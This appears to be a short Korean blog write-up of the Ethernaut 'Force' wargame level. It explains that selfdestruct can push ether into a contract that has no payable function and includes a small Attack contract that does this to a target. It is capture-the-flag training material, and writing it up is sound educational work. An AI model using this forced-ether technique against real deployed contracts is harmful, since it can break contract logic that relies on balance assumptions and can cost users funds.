계약 잔액을 0보다 크게 만들어라 ¯\\_(ツ)_/¯
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\\_/\\ /
____/ o o \\
/~____ =ø= /
(______)__m_m)
*/ }
selfdestruct(address payable recipient)는 현재 스마트 컨트랙트를 블록체인에서 영구적으로 제거하면서 컨트랙트가 보유하고 있던 모든 이더를 recipient 주소로 강제로 전송합니다.
receive(), fallback() 함수나 payable이 존재하지 않아도 이더를 전송할 수 있다는 특징을 가지고 있습니다.
응?????????? 코드 분석이요???????????
MEOWMEOWMEOWMEOWMEOWMEOWMEOWMEOWMEOWMEOW
pragma solidity ^0.8.0;
contract Attack {
constructor() payable {}
function attack(address payable target) public {
selfdestruct(target);
}
}
selfdestruct 를 이용하여 target에 돈을 밀어 넣는다.